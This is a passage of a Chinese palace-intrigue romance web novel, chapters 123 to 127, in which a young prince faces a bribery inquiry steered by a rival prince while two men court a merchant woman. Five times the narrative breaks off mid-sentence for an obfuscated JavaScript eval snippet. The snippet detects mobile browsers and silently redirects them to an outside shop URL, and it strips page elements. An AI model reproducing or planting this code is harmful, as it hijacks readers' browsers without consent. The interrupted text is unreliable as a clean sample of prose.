沈云祉笑意不减,继续举着白子在他眼前晃晃:“所谓当局者迷,旁观者清。兴许便是因为本王自诩棋艺高超,才久久未能寻到破局之法。” 孙协兆骑虎难下,只得硬着头皮接下棋子。 他双指执子,望着棋局犹豫不决,恍若在看无字天书。 沈云祉收回手,双指摩挲几下,再抬眸就见孙协兆面色为难,举棋不定。 “看来本王花一百两银子将这棋局买下,却乃物超所值。” “小王爷说的是,这棋局高深,我这样技艺不精的门外汉自然是琢磨不出来的。” 孙协兆顺着台阶将手中棋子放下,悄然将手臂垂在桌下,小心活动着手指。 他虽不是金玉其外败絮其中,却也未有精通之物。 方才本就心虚,加之脑袋一片空白,两根手指隐隐作痛。 沈云祉捻起一枚棋子夹在指尖:“无碍,本王已经叫人去请玉荣了,今日这棋局我定要破解。” 见他无心顾及其他,孙协兆悬着的心才将将放下。 平王已经进宫,今日前来便是为了在此打探消息。 即便是皇上有意偏袒小云南王,但究竟兹事体大,大理寺必定要来调查一番。 为了避嫌,平王定不会参与彻查,这才需要一个眼线来盯着大理寺如何行事,沈云祉如何应对。 过了约莫一刻钟,未将杜玉荣等来,却是等到了外头一阵喧哗。 这吵闹打断了沈云祉的思绪,惹得他面露怒意,蹙眉抬头。 只见大理寺卿带着一队人马穿过连廊而来,各个都是公事公办的态度。 “参加小云南王。”领头的官员躬身行礼,“大理寺得了皇上口谕,要调查京中一间贪污重案。” 沈云祉面色不改,继续若无其事地琢磨棋局,倒是一旁的孙协兆冷汗直流,万分紧张。 “此处是皇宫驿站,住得可都是身份尊贵之人。”沈云祉淡淡开口,继而微微点头,“如此来说,贪污倒有可行之处。那么你们又来调查谁?” 话音刚落,一枚黑子落在棋格,声音清脆。 大理寺卿上前一步:“小王爷,属下接到的口谕,是来调查您的。” 不等沈云祉开口,一旁的孙协兆却是激动地站了出来急言令色:“你们可知小云南王是什么身份?会瞧得上那零星的银两?” “贿赂一事可是最说不清楚的,若是你们一张嘴毁了小王爷的清誉,谁来担待?” 孙协兆是沈云祉的至交好友,这样一闹倒是有几分此地无银三百两的疑问。 大理寺卿冷了脸色,在两人之间多留意了几眼。 “小云南王身份尊贵,若非皇上口谕谁又会贸然叨扰?”官员盯着孙协兆,厉声道,“况且,贿赂一事兹事体大,我若连这样的罪名都能胡乱安插,这项上人头怕是保不住的。” 孙协兆没了话语,只能嘴硬地为自己找补:“我自然不是质疑你的差事和用心,只是知晓小云南王是何脾性,断是做不出这样的事情,唯恐你们弄错罢了。” 他越是说着,大理寺卿便越是警惕,眼中不禁多了几分猜忌。 “大理寺办事是讲证据的,不会平白冤枉任何一个,还请孙公子放心便是。” 沈云祉在一旁饶有趣味的看着,直到孙协兆无话可说才适时开口:“大理寺办事本王自然放心,你急什么?” 他半靠的软塌上,姿态漫不经心,言语训斥,语气却慵懒随意,并未放在心上。 孙协兆眼神躲闪,讪讪开口:“我只是看不得王爷您被冤枉。” 沈云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017337|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祉没再理会,只将目光落在大理寺卿的身上,勾起一抹玩味的笑意:“可有证据?本王可要下狱?” 一双细长的眸子静默如水,平静得好似眼下说的不过是个旁人的故事。 孙协兆偷偷打量着沈云祉的反应,不知方才的先发制人可否能让他莫要怀疑到自己身上。 大理寺卿摇了摇头,面上尴尬。 此事尚未定夺,皇上虽下令彻查,但到底要顾忌着云南王的身份。 “小王爷言重了,此事捕风捉影,未有定论,怎会要您下狱。”大理寺卿好言好语,“只是这个案子与您有关,真相大白之前还望小王爷莫要轻易离开。” “那是自然。原本本王在这京城也是无所事事,你们尽管查便是。”沈云祉反应平平,眉眼含笑,觉得有趣,“不过既然此事与本王有关,可否听听究竟是个什么案子?本王还不知晓自己收了什么贿赂呢?” 大理寺卿心有防备,避重就轻说了几句:“此案与京城一旁的泽熙镇有关联,有人道那镇上的府尹任职的不甚光彩。” 虽然 面前男子是一副毫不知情的模样,但也难免不是用来的迷惑人心的手段。 察觉到大理寺卿不愿如实相告,沈云祉没再追问:“也罢,迟早也是要知道的。要如何查你们便去查吧,不必在意本王。” 大理寺卿颔首:“有一事须得知会小王爷一声。这样的案子难免会要搜查,还望小王爷莫要怪罪。” 沈云祉扫了一眼他身后的侍卫,微微点头:“职责所在,有何怪责?尽管去吧,莫要将本王的物件扰的杂乱不堪,也莫要惊扰了一盏其他客人,如此便是了。” 得了应允,大理寺卿便带着侍卫离开。他在连廊处指点几句,不多事众人便分成小队,四散离开,势要将这驿站翻个底朝天。 沈云祉只静静看着,觉得无趣便合眸养神。 心中想的却是待人走尽,便能去第一楼凑凑热闹。 脑中是顾皎皎倔强模样,也不知她知晓当日是自己出手会是如何表情? 第一百二十三章 还愁不能翻身? 见沈云祉若有所思,孙协兆自作聪明以为他因事情败露焦头烂额,一时间愈发得意。 他眼眸一转,愤愤不平:“小王爷,大理寺来得悄无声息,可是有人蓄意陷害?” 沈云祉收起思绪来了兴致,抬手叫人添上一壶新茶,墨黑的眸子熠熠生彩:“皇上亲自下诏,能在皇上说得上话的,又不悦本王已久的,你莫非是知晓些什么?” “我能知晓什么,不过是觉得事发突然,蹊跷得很。”孙协兆扯了嘴角,“小王爷光明磊落,怎么会与这样事牵扯不清。” 他面上的尴尬与担忧几近溢出,他本想表明自己衷心,却不想引火上身,险些遭到怀疑。 沈云祉端一杯清茶在鼻尖嗅嗅:“你知晓便好。本王身正不怕影子斜,他们想查便只管去查。” 见他如此事不关己,孙协兆不免疑惑,唯恐哪处出了岔子。 当日泽熙镇的差事是他亲口吩咐的,打点府尹的事情也是小厮亲耳听到的,出不得错。如今大理寺也已登门,怎地就如此面不改色?难不成还有后路?! 小云南王远道而来,在京城根基不深。若是真有人与他共同谋划此事,若非皇族众人,便只能是尚未露面的云南王了。 孙协兆不由得兴奋起来。倘若真能一时二鸟,那真是立了大功,还愁不能翻身? 他踌躇半晌,试探开口:“小王爷,此事竟然又牵扯了泽熙镇,可是这方土地有何过人之处?可要我再去打探一番?” 沈云祉看他一眼:“也好,你且去查一查那新任府尹的底细和来路。” 这一眼意味不明,叫人凝神聚气不敢多言。 “如此,我便先告退了。”孙协兆自觉此地不宜久留,匆匆离开。 第一楼。 顾皎皎正对着账簿,忽地脊背一凉。 她不解地四下张望,却只瞧见了打开的窗棂。 正值夏日,不该觉得凉爽才是,莫非是有人在背后议论。 想着,顾皎皎将莺儿叫来跟前:“这些日子附近的商户可有何动作?” 莺儿一脸迷茫:“姑娘所指何事?他们的生意比不上咱们,只中规中矩的营生着罢了。” “这便是问题所在。”顾皎皎神色认真,继续开口,“生意场上,保不齐有人嫉妒从而暗中使绊子。” “从来旁人不知第一楼是我的产业,只当背后老板神秘莫测,是个达官贵人也未必。可如今我的身份揭晓,难免有人生出心思。” 莺儿沉思片刻:“奴婢想着旁人瞧着杜大人的面子也会第一楼敬而远之,倒是不曾想过此事。” 顾皎皎无奈叹息,轻轻点她额头,嗔怪道:“杜大人已然帮衬我们许多,还未道谢倒是又惦记起他的名号来了。” “杜大人为人温润如玉,不与我们计较,但我们不能没有分寸。日子久了,必定徒增烦恼。” 莺儿摸了摸额角,乖巧点头:“是,奴婢记下了。” 顾皎皎没再多言,只叫人退下休息。 第一楼本是京城根基稳固的酒楼,旁人断不会不自量力与之相较。 但这些日子她总睡不安稳,唯恐生出变故。 另一边,风尘仆仆赶来的杜玉荣恰好与匆忙离开的孙协兆打了个照面。 “孙兄,不知这驿站是发生何事了?”杜玉荣出言挽留,不解询问。 方才来的路上他就听到了些动静,方才下马才知原来是大理寺的人。只是驿站中都是身份有来头的人,何故会大张旗鼓的来此? 直到见了行色匆匆的孙协兆,他心中隐隐有了答案。看来这阵仗是冲着沈云祉来的。 孙协兆不愿久留,却也不能驳了杜玉荣的面子,只得停步相告:“小王爷牵扯进了一桩贪污案,大理寺的人正在里头搜查。我此番便是要去调查此事,助小王爷洗脱嫌疑。” “贪污?”杜玉荣意外十分,却没再多言,“如此你便加紧去办,我且进去细问小王爷发生了何事。” 孙协兆犹豫一瞬,却没了回去的由头,只能转身离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017338|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈云祉与杜玉荣地位相近,平日里也愈发亲近些,也不知可能套出些内幕。 一路走来不乏是大理寺官员身影,遍布四处,一处角落都不曾放过。 驿站中的客人不时探头查看,窃窃私语,隐约还能听到沈云祉的名号。 杜玉荣环视一圈,心中担忧,步子不禁加快几分。 后院的连廊隔一处便安排一个侍卫看守,声势浩大,人心惶惶。杜玉荣一路走来,四处都是侍卫,这般光景就连他瞧着都觉得心惊胆战。 沈云祉还坐在凉亭之中,气定神闲,乐得自在。 “小王爷,这究竟是怎么一回事?”杜玉荣快步上前,就见他仍满门心思摆弄着眼前的棋局,“方才在门外遇见了孙协兆,他道你被指认收了贿赂。” “终是等到你了。”沈云祉面露喜色,好似见到了救命稻草,“这棋可困了本王半日了,你且来瞧瞧有何破解之法。” 杜玉荣依言坐下,却不肯接下棋子。 沈云祉无奈,只好回应:“他们与本王也是如此说的,再是细致就连本王也不知晓,有趣得很。” 听得此言,杜玉荣才稍稍安心。只是他向来不信空穴来风,既然事情发展到如此地步,若非有人推波助澜,便是沈云祉确实有着牵扯。 私心里他自然是相信他清清白白,可事关朝廷不得不多加留意。 “我在朝中不曾听到丝毫风声,想来是事情还未败露,便就叫人捅到了皇上跟前。”杜玉荣冷静分析,心中已有眉目。 沈云祉沉思片刻,谨慎地落下一子,下一瞬便摇头不满,重新收回棋子。 这话方才他已经听过一次了,并不意外:“平王。如今见不得本王安生的,便只有他了。” “难为他饶了这样大的弯子便只挖到了此事,即便本王得了惩处,他要的位置也未必能坐安稳。” 杜玉荣不禁蹙眉,紧张的情绪被再度吊起,这话实在叫人浮想联翩。 “小王爷这是何意?难道这案子当真与您有关?” 第一百二十四章 沈云祉占了上风 沈云祉终于肯将棋子放回棋奁,神色严肃:“若是毫无关联,他又怎么能寻到理由叫皇上调查于本王呢?” 此言如五雷轰顶只劈在杜玉荣的天灵盖,他嘴角嗫嚅,震惊得不知如何言说。 许久,他才找回自己嗓音,倾身低语:“此事可开不得玩笑,您当真收了贿赂?” “那自然是没有。”沈云祉坦荡直言,“银子这东西本王应有尽有,有何可收?如若给些别的,兴许还有些可能。” 说话时,他的脑中竟不自觉浮现出顾皎皎的脸。想起她的倔强与不屈,沈云祉嘴角上扬。兴许她能够被银子收买。此举简单,倒是可以试试。 “事情出在泽熙镇。好巧不巧,本王也曾到过,这便是一切起因。”沈云祉顿了顿,还是说了个明白。 杜玉荣点了点头,全然安心下来:“那便无碍,这些日子我也留意着大理寺和刑部的动作,你且少走动避嫌。” 平王此番来势汹汹,直接面圣弹劾必定是觉得稳操胜券。 只是小云南王与泽熙镇这般隐秘的联系,平王又是如何得知? 杜玉荣面色凝重,出言提醒:“小王爷,看来您身边有人手脚不干净,可要仔细着些。” 沈云祉点点头,他早有如此想法,心中更是已有人选。 只是他心中尚有一丝余地觉得孙协兆不会如此蠢钝。得罪他去换平王的庇护这并非明智之举,是以才将泽熙镇一事交到此人手中,以作试探。 杜玉荣还想开口,却被沈云祉眼神阻止。 “本王将你请来,可不是听你如何统揽全局排兵布阵的。你若是心思无处使,便来瞧瞧本王这一百两的棋局。” “一百两?”杜玉荣惊愕出声。 放才坐下时他就注意到这精妙无比棋局,却不想竟如此昂贵。 沈云祉神色认真:“诓骗你有何好处?你且参悟参悟,也能叫这局棋值下这些银子。” 杜玉荣点头,细细揣摩起来。 沈云祉眉眼含笑,看着男人举棋不定,他脑中想得确实顾皎皎的千恩万谢。 堂堂小云南王,人人敬之拥之,却不想在一个女子眼中尚未有半分位置。 沈云祉冷了笑意,沉寂了许久的好胜之心忽地觉醒,促使他一把躲过杜玉荣还未来得及落下的棋子。 这棋子被握得久了,温热的触感尽是旁人的温度。 没由来的怒意涌上心头,在杜玉荣疑惑不解的眼神中,他将棋子重重丢进棋奁。 “小王爷,这棋局我还未解开。” “虽是午后,过了用膳的时辰,但想来你要务颇多,还未来得及进食吧?” 两人几乎同时开口,却终究是沈云祉占了上风。 “时候不早了,你也回去歇着吧。”说着,他随意地瞥了一眼纹丝不动的棋盘,“这不是大事,先搁置着。” 杜玉荣虽不明白发生了何事,但既然沈云祉有送客之意,他也不便久留。 “那我便先告退了。等大理寺有了消息,我再来寻您。” “嗯。” 沈云祉沉声应着,焦躁地把玩着手中折扇。 这样的感觉有些陌生,让人有些不知所措。 “呵,”沈云祉冷笑一声,“定然是她不肯为本王所用,人才流落在外,本王才如此不悦。” 语罢,他点头赞许,心中平静许多。 平王府。 孙协兆小心谨慎地绕到后面,对了暗号被人带到书房。 进了门,才发觉平王已等在主位,虽面无表情却能瞧见眉眼几分喜色。 “参见平王殿下。” 孙协兆上前行礼,终于多了些许底气。 平王的态度亦是缓和,没再那般横眉冷对:“皇上已经下令着大理寺彻查此事,想必你已知晓。” “我方从驿站过来,大理寺的人已经在屋内搜查了。”孙协兆点头,一副小人得志的模样,“依照王爷的吩咐,今日刻意探了小王爷的口风。” “想必是不见棺材不落泪,如今他仍端着王爷的气节,不肯再透露半分。” 平王表情凝固,似有不悦:“那你今日是空手前来?本王还准备今夜让你与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017339|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青青相见,看来是多此一举了。” “若没有消息,我怎敢来与王爷相见。”孙协兆乱了阵脚,不敢再继续卖关子,“小云南王虽然气定神闲,却还是差我再去一趟泽熙镇,说是要仔细将那新上任的府尹底细调查清楚。” “这人既然已经是他打点,此举实在多此一举。想来不过是想混淆视听,叫人以为他对新任府尹毫不知情。不过王爷您且安心,这差事既然落在我的手上,我便有法子让它变成襄助您的利器。” “后生可畏啊!”平王眼中终于多了几分欣赏,更多的还是即将铲除沈云祉的得意忘形,“你既然帮了本王如此大忙,自然不会叫你空手而归。” “青青那边本王都已经打点妥当了,你且安心去吧。往后本王便不再阻拦你们两个相见。事成之后,本王便会兑现诺言,将青青嫁你为妻。” 孙协兆大喜,再度跪下称谢:“多谢平王殿下,属下必定不辱使命,助您成就大业!” 平王赞许点头, 难得亲自将人扶起:“日后兴许就是一家人了,不必如此见外。你衷心为本王办事,自然不会亏待于你。” 孙协兆心中激动:“多谢王爷!只是我还要赶着去一趟泽熙镇,便先行告退了。” 平王点头,目视男人离开。 窗棂外人影走远,平王妃从屏风后走了出来。 “这就是你的法子?”平王妃沉声开口,面上几分讥讽,“你怎知这不是沈云祉的计策?” 平王却志得意满:“本王早已派人打探消息,他并未说谎。待大理寺的人那箱赃款,一切都尘埃落定。” “那徐青青呢?”平王妃变了副娇嗔模样,“若是此处立功,嫁于落魄的安阳侯府便罢了。难不成真要回府认作郡主?” 平王干笑,不自然地将眼神挪开:“此事到不必着急,待到事成再从长计议。” 平王妃面色不改,藏在广袖里的手暗自捏拳。他终究还是放不下这唯一的血脉。 既然她不能动了王爷念头,只盼着徐青青那丫头能记着那日的教导,时刻谨记自己低贱的身份。 第一百二十五章 说不出拒绝的话 顾皎皎起身走到窗边,阖眸感受扑面而来的温热。 今日的风光不错,得了空也该去看看父亲母亲。 恍惚间,第一楼门外停下一辆华贵马车。 顾皎皎探头去看,只见杜玉荣从车上下来。 “莺儿,看茶!” 原本还不知该如何答谢,这人便送到了眼前。顾皎皎心中感激,不敢怠慢,小跑着下楼迎接。 “杜大人。”顾皎皎福身,直接将人带去了二楼雅间,“原本还想着去请您过来” 一路上,杜玉荣的目光都未曾从她的面上离开,见她面带喜色,笑意不禁加深。 “这样说来,你我倒是有些默契。今日前来倒也不是为了大事,你连日里送的点心府里上下都称赞不已,是以该表示谢意才是。” 顾皎皎很是意外,连摆手拒绝:“杜大人,自你我相识,你便帮了我许多。皎皎无才,只得以这些微薄的物件聊表谢意,并非是想再要回些什么。” 杜玉荣点头,语气急了些:“我自然是知晓姑娘并无此意,只是举手之劳何足如此挂齿?你若接受,我心中还能好受一些。” 话已至此,顾皎皎也不好再推脱什么,只好勉为其难地应下。 杜玉荣心满意足,笑意加深,从袖口抽出两张戏票:“前些日子畅春园的名角从江南折返,定了今夜在园里搭台。母亲与畅春园的掌柜有些交情,得了几张戏票,便分了我两张。” 他视线往下,顿了顿不知如何开口:“小王爷向来不喜戏曲,觉得咿咿呀呀很是吵闹。如此便只能来问问你可得空。” 杜玉荣婉转一番,隐去了自己的刻意。 几番相处,他能感受到顾皎皎只是瞧中了自己户部任职的身份,其余的总是不愿有过多牵扯。 心中虽有几分落寞,却也欣赏这般敢作敢为的睿智女子。 顾皎皎果然犹豫,却在瞧见杜玉荣眼中的期待后说不出拒绝的话来。 “如此也好。这些日子第一楼忙得连轴转,得空听听戏也是不错的。杜大人当真如及时雨一般。” 杜玉荣松了口气,将桌上戏票推到顾皎皎眼前:“和你心意才是最好的,今夜戌时,我差人来接你。” “不必不必。”顾皎皎惶恐摆手,“我自己坐马车去便好,不劳烦杜大人特意跑着一趟。” “也好。”杜玉荣并未坚持,心底却难掩落寞。 空气忽然凝固,四目相对间竟生出了尴尬的意味。顾皎皎嘴角挂着得体的笑意,垂着眸子心情复杂。她虽感激杜玉荣瞧得上她的商贾身份,却也不知该如何回应这份善意。 她接近他的目的并不单纯,一来是还建方斋欠下的人情,二来便是想借他户部的身份牵线搭桥,或许有望成为皇商。 可如今杜玉荣的种种表现,透露着他真心想与自己交好,一时间羞愧难当又不知所措。 雅间外有人影走过,片刻又折返,接着门扉便从外推开。 听闻声响,顾皎皎与杜玉荣不约而同转身去看,之间来人气宇轩昂,半束管着浅青衣衫,面上一点威严。 不是沈云祉又能是谁? “玉荣?当真是你。”沈云祉大摇大摆地进来,不偏不倚坐在两人之间的圆凳,“方才路过听见声响,还以为是本王听错了。” 顾皎皎起身站在一边,与杜玉荣对视一眼,犹豫着开了口:“参见小王爷。” 沈云祉这才回头,咧开的嘴角意味不明:“顾姑娘有礼了,来者是客,不必如此客套。” 这话听着古怪,顾皎皎自然不能放在心上:“不知小王爷今日前来,是准备吃些什么?听杜大人说,您觉得第一楼的鸽子汤味道鲜美,上回不得空,今日可要再尝尝?” “顾姑娘安排便是,本王相信姑娘眼光。”沈云祉的目光落在桌上未来得及收起来的戏票,侧眸看向杜玉荣,“这是畅春园的戏票,莫非是今夜要搭台唱戏?” 杜玉荣点头:“牡丹昨日从江南折返,今夜戌时要兑一出嫦娥奔月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017340|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的戏。” “这倒是来得早不如来得巧。”沈云祉勾起唇角,自顾自地将戏票收起,“本王可早闻畅春园牡丹娘子的大名,今夜倒是可以见识一番。” “小王爷,这戏票……”杜玉荣大惊,难得失态想伸手夺回。 沈云祉不动神色地侧身,叫他扑空,却顺着男人为难的神情看向一旁沉默不语的顾皎皎。 戏谑的目光在两人之间流转,无名的不悦不受控制地在心底叫嚣。 沈云祉故作意外:“玉荣,难道你来这第一楼是为了请顾姑娘一同看戏?倒是本王夺人所爱了?” “这……今日确实有与顾姑娘一同赏戏之心……”杜玉荣支支吾吾,耳廓泛起绯红,寻不到两全的说辞。 若是不认,自己便成了毫无担当之人;若是认了,又是驳了小云南王的兴致。 瞧出杜玉荣的为难,顾皎皎灵机一动,轻笑开口:“杜大人,原来您方才要说的便是此事?我在此处谢过大人好意,只是我素来品味不来戏剧之美,恰好小王爷有兴致,也是成全了一张美事。” 纵使杜玉荣心有无奈,却也只能任凭事态朝着始料未及的方向发展。他面 带遗憾,顺着台阶往下:“杜某未能思虑周全,若是日后再遇字画品鉴,再来请姑娘一同。” 沈云祉就在一旁看着两人言语来往,半眯眸子心中不爽。不过好在两人之间似乎只有玉荣有意,顾皎皎仍旧是一副木头模样。想着,心中郁结又散去半分。 “本王不是夺人所爱之人。”沈云祉轻咳一声,再度开口,“既然这戏票本是顾姑娘的,本王强抢过来也觉得无趣。” 杜玉荣面不改色,心中却在盘算着改如何掩饰心中喜色,说些不舍的话语。 他正欲开口,却听沈云祉话锋一转:“不过本王对畅春园排得戏也有兴致,实难舍弃,不知玉荣能否替本王再寻来一张戏票?” 杜玉荣哑口无言,面露尴尬,僵硬应和:“我这便回府问问母亲可有余下的。” 第一百二十六章 小王爷当真有心 屋内一片寂静,唯独沈云祉神清气爽。 顾皎皎踌躇片刻:“不必如此麻烦,近来第一楼的事务繁重,我不去就行了。” 她本就对畅春园兴致缺缺,如今小云南王又横插一脚更是毫无兴致。也不知这人是吃错了喝药,来这第一楼越发频繁,难不成就因合作未成就如此纠缠?怎地从前不知自己竟一下能入这些个达官贵人的眼? 沈云祉置若罔闻,反倒是催促起杜玉荣:“瞧着时候也不早了,你快些回府一趟,兴许还能拦下一张戏票。” 杜玉荣薄唇轻抿,起身作揖,带着小厮离开了雅间。 不多时,耳中便传来马车驶离的声音。 没了杜玉荣,沈云祉心情大好,投来的眸子多了几分笑意:“顾姑娘往日喜欢赏戏吗?” 顾皎皎干笑一声,不愿理会,只福身行礼:“小王爷稍作片刻,我这就去为王爷准备菜肴。” 说罢,便带着莺儿匆匆离开,仿佛身后有洪水猛兽穷追不舍。 沈云祉也不闹,端起手边茶盏品味一口,赞许点头:“取了雪山水做引,清冽爽口,不错。” 另一边,顾皎皎匆匆下楼,吩咐厨房做几道第一楼的招牌给小云南王送去。 打点好一切,便回了柜台看账,并无再折返之意。 莺儿轻手轻脚凑过去,面上挂着烂漫笑意:“姑娘,奴婢瞧着小王爷当真有心,看来那日说的看中您才能之言并非随口一说呢!” “若是咱们能与小王爷合作,他定然会帮您成为皇商的。这样一来,您也不必苦恼着该如何还清欠下的杜大人人情,也省了不少功夫。” 顾皎皎轻叹一声,她不是没动过这样的心思,可沈云祉绝非善类,城府更是深不可测。 他今日能如此三顾茅庐,想来并非临时起意,可这份诚意又能维持多久?她若当真替他办事,再将铺子转入沈云祉名下,自己岂不就成了一具空壳?那这样的顾皎皎,又能如何保证不会被小云南王弃之如履? “怎么?你难道觉得这些日子还不够忙碌?若是如此,今夜回府,我便想想霓裳阁该如何革新,届时你就去那处帮衬。” 莺儿大惊失色,连连摇头,落荒而逃:“奴婢失言!奴婢这就去那处巡视,瞧着有桌碗筷还未收拾。” 二楼, 眼见着菜色上齐,却始终不见顾皎皎身影。沈云祉面上挂不住,抬手让双瑞去请。 双瑞停在柜边,面无表情:“顾姑娘,小王爷有请。” 顾皎皎疑惑抬头:“怎么?难道是菜色有何不对?不合小王爷胃口?” 双瑞只摇头:“顾姑娘还是随我去一趟吧。” “劳烦小王爷稍等片刻,手中这账目核算一半,实在是抽不开身。”顾皎皎礼貌应对。 这自然这是说辞,每日账目盘算都是打样之后,她不过只是在此随意瞧瞧,心中好有个衡量。待这侍卫上楼回禀,她便带着莺儿去一趟霓裳阁,离他远些。 双瑞未在应答,却是直挺挺得守在柜台边上等待,惹得来往客人投来许多异样目光。 顾皎皎终于是败下阵来,看他的始终买不改色,心中不禁多了几分敬佩。 “久等了,都算清楚了。”她合上账簿,随双瑞来到沈云祉面前。 桌上菜肴没了热气,可却没有食用迹象,唯独那道白玉鸽子鲜菌汤少了半指。 注意到顾皎皎眼神,沈云祉大方开口:“顾姑娘放心,并非第一楼的菜色不佳,只是本王早已果腹,吃不下其他了。” 顾皎皎咬牙切齿,却又不好发作:“小王爷若是吃不下该知会一声才是。这些食材虽非价值千金,却也遭不得如此糟践。” 她的眼中是不加掩饰的心疼,想到这些一口未动便要丢弃,便痛心疾首。 顾府不缺银子,可父亲亦从小教导她要珍惜眼前物,善待每一个物件,才对得住身后操劳之人的辛苦。 沈云祉沉默片刻,将双瑞叫进来:“除了这道白玉鸽子鲜菌汤,其余的你带下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017341|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去理一理,拿去城郊布施。此处并无米食,还要劳烦第一楼再格外准备一些。” 不等顾皎皎开口,他又开口解释:“顾姑娘,本王虽身居高位,却知民生疾苦。你眼中的那些陋习本王可未有半分沾染。” “误会小王爷了,还望小王爷莫要怪罪。”顾皎皎心中别扭,她方才确实觉得沈云祉与那些食不知肉糜的富贵人家并无区别。 沈云祉面色如常,抬手请她入座:“倒是难为你家财万贯,还有如此怜悯之心。世人都道商人重利,利欲熏心,顾姑娘似乎是一股清流,出淤泥而不染。” 顾皎皎明白他的称赞,可听在耳中却没有半分喜色,反倒是心中堵了口气。 “多谢小王爷夸奖。可我虽为商贾,却从未觉得从商就该低人一等。不可否认,商贾之中却有人性泯灭之人,可为何因着这些人所有商人就要蒙受偏见?” 顾皎皎滔滔不绝,脑中想的却是父亲拖着病躯为自己寻找归宿的画面。只因这商贾身份叫人不愿善待,他便倾尽所有为她铺路,只愿她能不再受人白眼。 见她如此动容,沈云祉心中酸涩,竟觉得手足无措:“本王并非此意 。顾姑娘心有大局,是个值得尊敬之人。今日本王话有纰漏,实属无心之过。” “小王爷言重了,我自然知晓王爷的意思。”顾皎皎吐出一口浊气,尽力稳住情绪,“许是近来事务繁忙,有些疲倦。在小王爷面前失态了。” 瞧着顾皎皎眼角的绯红,沈云祉心中五味杂陈。脑中忽然回想起那个昏黑的夜晚,她的眼角好似也是这抹红晕。 “既然疲倦,就该好生休养才是。恰好今夜畅春园摆戏,去听听放松一番也好。” 顾皎皎只听着,心中一片恍惚。小云南王这是在安慰自己? 不过经他一番劝慰,她倒是觉得去瞧瞧戏也未尝不可。 “若是杜大人未能带回戏票又改如何?” 沈云祉理直气壮:“这有何难?玉荣不是还有一张。” 第一百二十七章 心里很不是滋味 顾皎皎沉默一瞬,试探问道:“小王爷这是愿意割爱?” “本王难得来京城一趟,自然要尽兴而归,顾姑娘以为呢?”沈云祉毫不避讳地对上她的眸子,心底暗自较劲。 顾皎皎只扯了嘴角并未答话。只盼着杜玉荣一切顺利,与小云南王一同看戏的画面在脑中浮现一瞬,脊背便爬上几缕凉意。 沈云祉缓缓起身,漫不经心地理了理衣袂。 顾皎皎一双杏眸绝美无双,眼神清澈好似一池清泉。正是这双让人为之动容的眸子,总是藏不住心事。 只一眼,他就知晓顾皎皎并不愿与自己一同看戏,心里很不是滋味。 沉默片刻,沈云祉赌气般质问:“你与杜玉荣亲近,可还是为了成为皇商?” 门外,杜玉荣手中握着一张戏票,却在听到自己名讳后顿住了叩门的右手。隔着门扉能瞧见屋内相对而立的模糊人影,他的目光落在纤细的女子身上,忍不住好奇她会如何作答。 心底的秘密忽然被人公之于众,顾皎皎慌乱一瞬,侧过身去:“我与杜大人只按照礼制接触,并未任何越矩之举,何谈亲近之说?” “况且,自我回到顾府,杜大人便帮衬了我许多,我对他特别些也是情理之中。如今也只能用着微薄的法子偿还恩情。” 沈云祉冷笑一声,阴阳怪气道:“倒是个懂得报恩的美娇娘。只是本王亦帮衬了你不少,怎么未见你来向本王报恩?嗯?” 他尾调上扬,上前几步,迫使顾皎皎抬头与他眼神交汇。 